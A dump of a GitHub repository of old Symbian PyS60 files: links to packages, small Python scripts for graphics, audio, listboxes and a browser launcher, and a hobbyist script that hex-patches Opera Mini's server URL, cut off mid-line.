https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Flashlight_only_for_3rd_2fp..sis -------------------------------------------------------------------------------- /Kaapython_0xe9e58be2_aif.mif.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Kaapython_0xe9e58be2_aif.mif.zip -------------------------------------------------------------------------------- /SmartSIS.v2.3.0.EN.By.mEnPDA.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SmartSIS.v2.3.0.EN.By.mEnPDA.sis -------------------------------------------------------------------------------- /Txtfield_3rd_1.4.5_&_2_&_api.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Txtfield_3rd_1.4.5_&_2_&_api.zip -------------------------------------------------------------------------------- /_GlobCapture_2nd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/_GlobCapture_2nd_with_source.zip -------------------------------------------------------------------------------- /cfileman_3rd_1.4.5_and_2.0.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/cfileman_3rd_1.4.5_and_2.0.0.zip -------------------------------------------------------------------------------- /cfileman_3rd_145_and_200_v3.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/cfileman_3rd_145_and_200_v3.zip -------------------------------------------------------------------------------- /datamapping_3rd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/datamapping_3rd_with_source.zip -------------------------------------------------------------------------------- /fastcamera_ALL_VERSIONS_145.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/fastcamera_ALL_VERSIONS_145.zip -------------------------------------------------------------------------------- /filesetsize_3rd_1.4.5_and_2.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filesetsize_3rd_1.4.5_and_2.0.zip -------------------------------------------------------------------------------- /globconfirm_3rd_with_source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/globconfirm_3rd_with_source.zip -------------------------------------------------------------------------------- /image1st2_1st_final_version.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/image1st2_1st_final_version.zip -------------------------------------------------------------------------------- /pyfileselect_2nd_testing_101.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyfileselect_2nd_testing_101.zip -------------------------------------------------------------------------------- /GlobCaptureCamera_2nd_with_sou.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/GlobCaptureCamera_2nd_with_sou.zip -------------------------------------------------------------------------------- /Professional_Metronome_v1_03_0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Professional_Metronome_v1_03_0.zip -------------------------------------------------------------------------------- /PyTarGZ%20v1.10%20s60v3v5%20EN.sisx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PyTarGZ%20v1.10%20s60v3v5%20EN.sisx -------------------------------------------------------------------------------- /filesetsize_3rd_python2.0.0_so.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filesetsize_3rd_python2.0.0_so.zip -------------------------------------------------------------------------------- /globconfirm_watt_3rd_145_and_2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/globconfirm_watt_3rd_145_and_2.zip -------------------------------------------------------------------------------- /petran_3rd_1.4.5_and_2.0.0_sou.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/petran_3rd_1.4.5_and_2.0.0_sou.zip -------------------------------------------------------------------------------- /progressnotes_3rd_1.4.5_and_20.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/progressnotes_3rd_1.4.5_and_20.zip -------------------------------------------------------------------------------- /saveimage1st_1st_source_pyd_v1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/saveimage1st_1st_source_pyd_v1.zip -------------------------------------------------------------------------------- /systemcolor_3rd_Python_2_with_.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/systemcolor_3rd_Python_2_with_.zip -------------------------------------------------------------------------------- /txtfield_3rd_1.4.5_Python_%20&%202: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/txtfield_3rd_1.4.5_Python_%20&%202 -------------------------------------------------------------------------------- /Ascreen_beta_3rd_with_example (01).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Ascreen_beta_3rd_with_example (01).zip -------------------------------------------------------------------------------- /Py%20Gendeng4%20v0.02%20forpys60.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Py%20Gendeng4%20v0.02%20forpys60.zip -------------------------------------------------------------------------------- /Some%20Modules%20for%20py%201.45%20and%202: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Some%20Modules%20for%20py%201.45%20and%202 -------------------------------------------------------------------------------- /Kaapython_10.2.1_beta_for_Symbian_3rd_ed.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Kaapython_10.2.1_beta_for_Symbian_3rd_ed.zip -------------------------------------------------------------------------------- /MiniCMD%20Shell%20v1.0.1%20By%20Chornos13.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/MiniCMD%20Shell%20v1.0.1%20By%20Chornos13.sis -------------------------------------------------------------------------------- /Kaapython%209.0.0%20beta%20for%203rd%20ed%20unsigned.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Kaapython%209.0.0%20beta%20for%203rd%20ed%20unsigned.zip -------------------------------------------------------------------------------- /Opmin%20Thivian%20Launcher%20with%20config%20by%20Habc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Opmin%20Thivian%20Launcher%20with%20config%20by%20Habc.zip -------------------------------------------------------------------------------- /Openwith.py: -------------------------------------------------------------------------------- 1 | import appuifw,sys,os,tarfile 2 | file=sys.argv 3 | if not len(file)>1: 4 | appuifw.note(u"Please use open with") 5 | os.abort() 6 | else: 7 | t=tarfile.open(file[1]) 8 | o=[] 9 | for i in t.getmembers(): 10 | o.append(unicode(i.name)) 11 | appuifw.popup_menu(o) 12 | os.abort() -------------------------------------------------------------------------------- /test_tr.py: -------------------------------------------------------------------------------- 1 | import e32,appuifw 2 | from graphics import * 3 | 4 | canvas=appuifw.Canvas() 5 | appuifw.app.screen="full" 6 | appuifw.app.body=canvas 7 | 8 | img=Image.new((30,30)) 9 | img_mask=Image.new((30,30),'L') 10 | 11 | img.ellipse((5,5,25,25),0x5555ee,0x5555ee) 12 | img_mask.clear(0) 13 | img_mask.ellipse((5,5,25,25),0x888888,0x888888) 14 | 15 | canvas.line((30,0,0,30),0x00dd00,width=5) 16 | canvas.line((0,0,30,30),0xdd0000,width=5) 17 | 18 | canvas.blit(img,mask=img_mask) 19 | 20 | app_lock = e32.Ao_lock() 21 | def exit(): 22 | app_lock.signal() 23 | appuifw.app.exit_key_handler = exit 24 | 25 | app_lock.wait() -------------------------------------------------------------------------------- /test.pycvb: -------------------------------------------------------------------------------- 1 | import e32, appuifw as aw 2 | from graphics import* 3 | from sysinfo import* 4 | 5 | x,y=display_pixels() 6 | img=Image.new((x,y)) 7 | 8 | def redraw(rect): 9 | c.blit(img) 10 | 11 | c=aw.Canvas(redraw_callback=redraw) 12 | aw.app.screen="full" 13 | aw.app.body=c 14 | bg=Image.open('e:\\im.png') 15 | 16 | text=u'start it long long string end' 17 | t=0 18 | run=1 19 | def exit(): 20 | global run 21 | run=0 22 | aw.app.exit_key_handler=exit 23 | 24 | while run: 25 | t-=1 26 | if t<-100:t=200 27 | img.blit(bg) 28 | img.text((t,220),text,0xffffff) 29 | redraw(()) 30 | e32.ao_sleep(0.04) 31 | -------------------------------------------------------------------------------- /Listboxmbm_test.py: -------------------------------------------------------------------------------- 1 | import e32,appuifw 2 | from graphics import * 3 | import geticon 4 | import multimbm 5 | 6 | uid=0xe000b1a5 #pys60 uid for 1.4.5 7 | _img=geticon.get(uid,(50,50)) 8 | img=Image.from_cfbsbitmap(_img[0]) 9 | img_mask=Image.from_cfbsbitmap(_img[1]) 10 | 11 | multimbm.create(u'd:\\test.mbm',[img,img_mask]) 12 | icon1=appuifw.Icon(u'd:\\test.mbm',0,1) 13 | entries=[(u'pys60',unicode(hex(uid)),icon1)] 14 | lb=appuifw.Listbox(entries,lambda:None) 15 | app_lock = e32.Ao_lock() 16 | 17 | def exit(): 18 | app_lock.signal() 19 | 20 | appuifw.app.exit_key_handler = exit 21 | appuifw.app.body=lb 22 | 23 | app_lock.wait() 24 | -------------------------------------------------------------------------------- /test_font.py: -------------------------------------------------------------------------------- 1 | import txtfield,e32,appuifw 2 | 3 | canvas=appuifw.Canvas() 4 | appuifw.app.screen="full" 5 | appuifw.app.body=canvas 6 | canvas.clear(0) 7 | 8 | def preview(path): 9 | font=txtfield.LoadFont(path) 10 | txt=txtfield.New((5,5,170,150),cornertype=txtfield.ECorner5) 11 | txt.textstyle(u'LatinBold13',size=250,style=u'normal',color=0x225522) 12 | txt.add(unicode(str(copyright))) 13 | e32.ao_sleep(2) 14 | txt.textstyle(u'LatinPlain12',size=250,style=u'normal',color=0x225522) 15 | txt.add(unicode(str(copyright))) 16 | e32.ao_sleep(2) 17 | txt.textstyle(u'LatinBold19',size=250,style=u'normal',color=0x225522) 18 | txt.add(unicode(str(copyright))) 19 | e32.ao_sleep(2) 20 | del txt 21 | print font 22 | txtfield.RemoveFont(font) 23 | e32.ao_sleep(0.6) 24 | 25 | preview(u"e:\\aquaduct.gdr") 26 | -------------------------------------------------------------------------------- /Unnamed1.py: -------------------------------------------------------------------------------- 1 | from struct import* 2 | from graphics import* 3 | import os 4 | wav='E:\\bird.wav' 5 | X,Y=176,208 6 | img=Image.new((X,Y)) 7 | Y/=2 8 | t=open(wav) 9 | h=t.read(44) 10 | s=unpack('l',h[40:44])[0] 11 | bit=unpack('h',h[34:36])[0] 12 | dat=t.read() 13 | t.close() 14 | 15 | if bit==8: #for 8 bit 16 | num=[(128-(ord( dat[i])))*0.75 for i in xrange(s)] 17 | elif bit==16: #for 16 bit 18 | num=[ (ord(dat[i]) !=255 and (ord(dat[i])>127 and ord(dat[i])-255 or ord(dat[i])))*0.75 for i in xrange(1,s,2) ] 19 | 20 | xz=len(num)/X 21 | if xz>2: 22 | lst=[[max(num[i:i+xz]),min(num[i:i+xz])] for i in range(0,len(num),xz) ] 23 | else: 24 | lst=[[i,i] for i in num] 25 | img.clear(0) 26 | for i in range(len(lst)-1): 27 | img.line(( i,(lst[i][0]+Y),i,(lst[i+1][0]+Y) , i,(lst[i][1]+Y),i,(lst[i+1][1]+Y)),0x00bb00) 28 | img.save(os.path.splitext(wav)[0]+'.png') 29 | -------------------------------------------------------------------------------- /test_topwindow_asprite.py: -------------------------------------------------------------------------------- 1 | import TopWindow 2 | from graphics import* 3 | import appuifw, e32, asprite, time 4 | 5 | screen = TopWindow.TopWindow() 6 | img=Image.new((150, 60)) 7 | img.clear(0xddddde) 8 | screen.add_image(img, (0,0)) 9 | screen.size = (150, 60) 10 | screen.position=(30, 10) 11 | screen.shadow = 3 12 | screen.show() 13 | 14 | sprite=asprite.New() 15 | pic=Image.new((100,30)) 16 | pic_mask=Image.new((100,30)) 17 | 18 | h,m,s=time.localtime()[3:6] 19 | pic.clear(0xddaa22) 20 | pic.text((10,20),u'%02d:%02d:%02d'%(h,m,s),0x227722,font='title') 21 | pic_mask.clear(0xffffff) 22 | pic_mask.text((10,20),u'%02d:%02d:%02d'%(h,m,s),font='title') 23 | 24 | s1=sprite.load_cadre(pic,pic_mask, [(0,0)], [100,30]) 25 | win=sprite.NewSprite(s1,1) 26 | sprite.target(win,(50,30)) 27 | sprite.activate() 28 | 29 | def exit_key_handler(): 30 | app_lock.signal() 31 | 32 | app_lock = e32.Ao_lock() 33 | 34 | appuifw.app.exit_key_handler = exit_key_handler 35 | app_lock.wait() 36 | 37 | del screen, sprite -------------------------------------------------------------------------------- /test_txt.py: -------------------------------------------------------------------------------- 1 | import txtfield, appuifw, lang 2 | 3 | def ru(x): return x.decode('utf-8') 4 | 5 | class Main: 6 | def __init__(s): 7 | s.ws_cb=s.ws_cb 8 | s.lock=appuifw.e32.Ao_lock() 9 | appuifw.app.exit_key_handler=s.lock.signal 10 | appuifw.app.body.clear() 11 | s.a=[] 12 | 13 | def lb_cb(s, a): 14 | pass 15 | 16 | def start(s): 17 | lang.set_predicative_input(0) 18 | s.window_search = txtfield.New( 19 | (90, 295, 150, 320), 20 | txtlimit = 7, 21 | callback = s.ws_cb) 22 | s.window_search.visible(1) 23 | s.window_search.focus(1) 24 | s.lb=appuifw.Listbox([ru('мама'), ru('папа'), ru('сестра')], s.lb_cb) 25 | appuifw.app.body=s.lb 26 | 27 | 28 | def ws_cb(s, val): 29 | g=s.window_search.get() 30 | s.a.append([g,val]) 31 | 32 | main = Main() 33 | main.start() 34 | main.lock.wait() 35 | print main.a 36 | main.window_search.visible(0) 37 | main.window_search.focus(0) 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 GAURAV 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Vol%20ajust.py: -------------------------------------------------------------------------------- 1 | import appuifw,e32,audio 2 | from sysinfo import display_pixels 3 | from graphics import* 4 | 5 | appuifw.app.screen='full' 6 | 7 | im=Image.new(display_pixels()) 8 | path='e:\\' 9 | s=audio.Sound.open(path+'Vol.mp3') 10 | 11 | def redraw(rect): 12 | c.blit(im) 13 | 14 | c=appuifw.Canvas(event_callback=redraw) 15 | appuifw.app.body=c 16 | gbr=['vol.jpg','v_up.jpg','v_dw.jpg'] 17 | 18 | im1= Image.open(path+gbr[0]) 19 | im2=Image.open(path+gbr[1]) 20 | im3=Image.open(path+gbr[2]) 21 | 22 | def graph(): 23 | vol=s.current_volume() 24 | im.blit(im1) 25 | im.blit(im2,target=(150,154)) 26 | im.blit(im3,target=(150,202)) 27 | im.rectangle((145,202-vol*4,165,202),0xff9900,fill=0xff9900) 28 | im.text((165,130),str(vol*10)+u' %',0xff0000) 29 | redraw(()) 30 | 31 | def up(): 32 | v=s.set_volume(s.current_volume()+1) 33 | graph() 34 | 35 | def down(): 36 | v=s.set_volume(s.current_volume()-1) 37 | graph() 38 | 39 | s.set_volume(1) 40 | def play(): 41 | s.play() 42 | play() 43 | graph() 44 | 45 | c.bind(63497,up) 46 | c.bind(63498,down) 47 | 48 | lock=e32.Ao_lock() 49 | def exit(): 50 | lock.signal() 51 | appuifw.app.exit_key_handler=exit 52 | lock.wait() 53 | -------------------------------------------------------------------------------- /test.pycv: -------------------------------------------------------------------------------- 1 | from graphics import* 2 | from audio import* 3 | import powlite_fm 4 | import os,e32,appuifw as a 5 | pow=powlite_fm.manager() 6 | a.app.screen='full' 7 | 8 | run=1 9 | def exit(): 10 | global run 11 | run =0 12 | 13 | a.app.exit_key_handler=exit 14 | 15 | pat=u'e:\\' 16 | # def Playlist folder 17 | def start(): 18 | try: 19 | if os.path.isfile(pat+u'mp3.dat'): 20 | pass 21 | else: 22 | dr=pow.AskUser(find='dir') 23 | file=open(pat +u'mp3.dat','w') 24 | file.write(dr) 25 | file.close() 26 | except:pass 27 | start() 28 | file=open(pat +u'mp3.dat','r') 29 | r=file.readlines() 30 | file.close() 31 | dir=r[0] 32 | 33 | 34 | im= Image.new((320,240)) 35 | def draw(rect): 36 | c.blit(im) 37 | img=Image.open(pat+'pyphoto.jpg').resize((320,240)) 38 | c=a.Canvas(redraw_callback=draw) 39 | a.app.body=c 40 | 41 | while run: 42 | for pl in os.listdir(dir): 43 | if pl[-4:]==u".mp3": 44 | s=Sound.open(os.path.join(dir,pl)) 45 | s.play() 46 | s.set_volume(1) 47 | 48 | while run: 49 | if s.state()==1: 50 | s.stop() 51 | break 52 | sec=int(s.current_position())/1000000 53 | min=(sec/60) 54 | sec-=(min*60) 55 | im.blit(img) 56 | im.text((0,10),u''+ pl,0x0099cc) 57 | im.text((200,40),u''+str(min)+' : '+str(sec),0xff0000) 58 | draw(()) 59 | e32.ao_sleep(0.5) 60 | 61 | s.stop() -------------------------------------------------------------------------------- /draw_snd.py: -------------------------------------------------------------------------------- 1 | import audio 2 | import struct 3 | import appuifw 4 | import e32 5 | import os 6 | from graphics import* 7 | 8 | path = "d:\\snd.wav" 9 | 10 | def redraw(rect): 11 | canvas.blit(img) 12 | 13 | canvas=appuifw.Canvas(redraw_callback=redraw) 14 | appuifw.app.body=canvas 15 | appuifw.app.screen='full' 16 | img=Image.new(canvas.size) 17 | 18 | def exit(): 19 | global flag 20 | flag = 0 21 | sound.stop() 22 | sound.close() 23 | if os.path.isfile(path): 24 | os.remove(path) 25 | appuifw.app.exit_key_handler = exit 26 | sound = audio.Sound.open(u'%s' % path) 27 | open(path, "w").write('') 28 | 29 | X,Y=canvas.size 30 | Y/=2 31 | 32 | flag = 1 33 | while flag: 34 | os.remove(path) 35 | sound.record() 36 | e32.ao_sleep(0.04) 37 | sound.stop() 38 | fo = open(path) 39 | header = fo.read(44) 40 | size = struct.unpack('l', header[40:44])[0] 41 | data = fo.read(size) 42 | fo.close() 43 | num=[ ord(data[i]) !=255 and (ord(data[i])>127 and ord(data[i])-255 or ord(data[i])) for i in xrange(1,size,2) ] 44 | 45 | xz=len(num)/X 46 | if xz>2: 47 | lst=[ [max(num[i:i+xz]),min(num[i:i+xz])] for i in range(0,len(num),xz) ] 48 | else: 49 | lst=[ [i,i] for i in num ] 50 | 51 | img.clear(0) 52 | 53 | for i in range(len(lst)-1): 54 | img.line(( i,(lst[i][0]+Y),i,(lst[i+1][0]+Y) , i,(lst[i][1]+Y),i,(lst[i+1][1]+Y)),0xeebb00) 55 | redraw(()) 56 | -------------------------------------------------------------------------------- /webbrowser.py: -------------------------------------------------------------------------------- 1 | """Series 60 interface for launching Web browsers.""" 2 | # Note - when prompted by the python installer, select "Python Lib Module" 3 | # 4 | # GPL Licensed 5 | # 6 | # Nick Burch - v0.03 (14/03/2006) 7 | 8 | import os 9 | import e32 10 | 11 | # Where to find apprun 12 | apprun = 'z:\\system\\programs\\apprun.exe' 13 | # Drives to check 14 | drives = [ 'c:', 'z:' ] 15 | # Where the browsers live 16 | browsers = {} 17 | browsers['nokia'] = '\\System\\Apps\\Browser\\Browser.app' 18 | browsers['opera'] = '\\System\\Apps\\Opera\\Opera.app' 19 | # What order to look for browsers in 20 | search_order = [ 'nokia', 'opera' ] 21 | 22 | def _find_browser_and_path(): 23 | """Finds the path to a browser""" 24 | for browser in search_order: 25 | for drive in drives: 26 | path = drive + browsers[browser] 27 | if os.path.exists(path): 28 | return (browser,path) 29 | raise RuntimeError('No Web Browser Found') 30 | 31 | def open(url): 32 | """Opens the webbrowser to the supplied URL""" 33 | (browser,path) = _find_browser_and_path() 34 | apprun_arg = path + ' "' + url + '"' 35 | print "Starting '%s'" % apprun_arg 36 | e32.start_exe(apprun,apprun_arg, 1) 37 | 38 | def open_new(url): 39 | """Opens the webbrowser to the supplied URL, and returns straight away""" 40 | (browser,path) = _find_browser_and_path() 41 | e32.start_exe(apprun,path + ' ' + url) 42 | 43 | def which_browser(): 44 | """Returns the name of the browser that will be used to open URLs""" 45 | (browser,path) = _find_browser_and_path() 46 | return browser 47 | -------------------------------------------------------------------------------- /txtfield_test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | '''import appuifw, txtfield 3 | appuifw.app.body.clear() 4 | itimer=appuifw.e32.Ao_timer() 5 | 6 | lock=appuifw.e32.Ao_lock() 7 | itimer.after(15, lock.signal) 8 | flag=1 9 | list = [unicode(i) for i in range(10)] 10 | def cb(): 11 | pass 12 | 13 | def cb1(): 14 | 15 | print 1 16 | global flag 17 | if flag: 18 | search.visible(1) 19 | search.focus(1) 20 | flag=0 21 | appuifw.e32.ao_sleep(1) 22 | a=search.get() 23 | print type(a), len(a), a 24 | if len(a)==0: 25 | flag=1 26 | return 27 | if flag is 0: 28 | appuifw.e32.ao_sleep(1, cb1) 29 | 30 | 31 | lb = appuifw.Listbox(list, cb) 32 | for i in [42, 35, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]: 33 | lb.bind(i, cb1) 34 | appuifw.app.body = lb 35 | 36 | search = txtfield.New((0, 0, 100, 50)) 37 | search.visible(0) 38 | search.focus(0) 39 | 40 | 41 | appuifw.app.exit_key_handler = lock.signal 42 | lock.wait() 43 | #print search.get() 44 | search.visible(0) 45 | search.focus(0) 46 | flag=1 47 | ''' 48 | import _progressnotes as progressnotes, e32 49 | note = progressnotes.ProgressNote() 50 | def cancel(): 51 | print "cancel" 52 | note.cancel_callback(cancel) 53 | 54 | note.wait() 55 | note.update(0, u"please wait") 56 | e32.ao_sleep(5) 57 | note.finish() 58 | #['cancel_callback', 'finish', 'progress', 'update', 'wait'] 59 | 60 | note.progress(6) 61 | for i in range(1,7): 62 | note.update(i, u"progress %d"%i) 63 | e32.ao_sleep(0.5) 64 | note.finish() 65 | 66 | -------------------------------------------------------------------------------- /Listboxapps_by2.py: -------------------------------------------------------------------------------- 1 | import e32,appuifw,os 2 | from graphics import * 3 | import geticon 4 | import multimbm 5 | import applist 6 | 7 | limit=2 8 | entries=[] 9 | 10 | def listapps(): 11 | global entries,limit 12 | lapp=applist.applist() 13 | lapp1=[(el[1],el[0]) for el in lapp] 14 | lmbm=[] 15 | entries=[] 16 | c=0 17 | uidno=0xa89fd974 18 | puz2=geticon.get(uidno,(50,50)) 19 | ipuz=Image.from_cfbsbitmap(puz2[0]) 20 | mpuz=Image.from_cfbsbitmap(puz2[1]) 21 | sd=0 22 | 23 | for el in lapp1: 24 | try: 25 | i2=geticon.get(el[1],(50,50)) 26 | except: 27 | print 'p: ',el 28 | try: 29 | i=Image.from_cfbsbitmap(i2[0]) 30 | imask=Image.from_cfbsbitmap(i2[1]) 31 | except: 32 | print i2[0] 33 | i=ipuz 34 | imask=mpuz 35 | 36 | lmbm.append(i) 37 | lmbm.append(imask) 38 | entries.append((el[0],unicode(hex(el[1])),appuifw.Icon(u'd:\\iapps.mbm', sd,sd+1))) 39 | sd+=2 40 | c+=1 41 | if c>=limit: break 42 | 43 | multimbm.create(u'd:\\iapps.mbm',lmbm) 44 | 45 | 46 | app_lock = e32.Ao_lock() 47 | 48 | def exit(): 49 | app_lock.signal() 50 | 51 | def display(): 52 | global entries 53 | listapps() 54 | lb=appuifw.Listbox(entries,lambda:None) 55 | appuifw.app.body=lb 56 | 57 | def setlimit(): 58 | global limit 59 | limit=appuifw.query(u'limit','number',1) 60 | 61 | appuifw.app.menu=[(u'list apps',display),(u'set limit',setlimit)] 62 | 63 | appuifw.app.exit_key_handler = exit 64 | 65 | app_lock.wait() 66 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /Listboxapps_by1.py: -------------------------------------------------------------------------------- 1 | import e32,appuifw,os 2 | from graphics import * 3 | import geticon 4 | import multimbm 5 | import applist 6 | 7 | limit=2 8 | entries=[] 9 | 10 | def listapps(): 11 | global entries,limit 12 | lapp=applist.applist() 13 | lapp1=[(el[1],el[0]) for el in lapp] 14 | lmbm=[] 15 | entries=[] 16 | c=0 17 | uidno=0xa89fd974 18 | puz2=geticon.get(uidno,(50,50)) 19 | ipuz=Image.from_cfbsbitmap(puz2[0]) 20 | mpuz=Image.from_cfbsbitmap(puz2[1]) 21 | 22 | for el in lapp1: 23 | lmbm=[] 24 | try: 25 | i2=geticon.get(el[1],(50,50)) 26 | except: 27 | print 'p: ',el 28 | #i2=geticon.get(0xe000b1a5,(50,50)) 29 | 30 | print c 31 | if c==limit: break 32 | print el 33 | try: 34 | i=Image.from_cfbsbitmap(i2[0]) 35 | imask=Image.from_cfbsbitmap(i2[1]) 36 | except: 37 | print i2[0] 38 | i=ipuz 39 | imask=mpuz 40 | 41 | lmbm.append(i) 42 | lmbm.append(imask) 43 | c=c+1 44 | multimbm.create(u'd:\\iapps.mbm',lmbm) 45 | entries.append((el[0],unicode(hex(el[1])),appuifw.Icon(u'd:\\iapps.mbm', 0,1))) 46 | #os.remove('d:\\iapps.mbm') 47 | #e32.ao_sleep(5) 48 | 49 | app_lock = e32.Ao_lock() 50 | 51 | def exit(): 52 | app_lock.signal() 53 | 54 | def display(): 55 | global entries 56 | listapps() 57 | lb=appuifw.Listbox(entries,lambda:None) 58 | appuifw.app.body=lb 59 | 60 | def setlimit(): 61 | global limit 62 | limit=appuifw.query(u'limit','number',1) 63 | 64 | appuifw.app.menu=[(u'list apps',display),(u'set limit',setlimit)] 65 | 66 | appuifw.app.exit_key_handler = exit 67 | 68 | app_lock.wait() 69 | -------------------------------------------------------------------------------- /simplereplace.py: -------------------------------------------------------------------------------- 1 | #Created By Chornos13 you can edit if you like but respect the creator 2 | #Example code for replacer hex 3 | #Only for operamini.exe 4 | import appuifw 5 | bin = 'c:\\sys\\bin\\' 6 | try : 7 | list = map(unicode, os.listdir(bin)) 8 | except : 9 | appuifw.note(u'Please enable open4all') 10 | pos_len = 126 11 | if os.path.exists(u'c:\\logopev.dat'): 12 | z = open('c:\\logopev.dat', 'r') 13 | zr = z.readlines() 14 | pos = int(zr[0]) 15 | exepath = zr[1] 16 | x = open(exepath, 'r').read() 17 | else : 18 | tmpfl = appuifw.selection_list(list, 1) 19 | x = open(bin + list[tmpfl], 'r').read() 20 | z = open('c:\\logopev.dat', 'w') 21 | pos = x.encode('hex').find(u'http://mini5.opera- mini.net'.encode('hex')) 22 | z.write(unicode(pos) + '\n' + bin + list[tmpfl]) 23 | z.close() 24 | z = open('c:\\logopev.dat', 'r') 25 | zr = z.readlines() 26 | pos = int(zr[0]) 27 | exepath = zr[1] 28 | x = open(exepath, 'r').read() 29 | http_text = unicode(x.encode('hex')[pos : pos + pos_len].replace('00', '').decode('hex')) 30 | replace = appuifw.query(u'Enter new server', 'text', 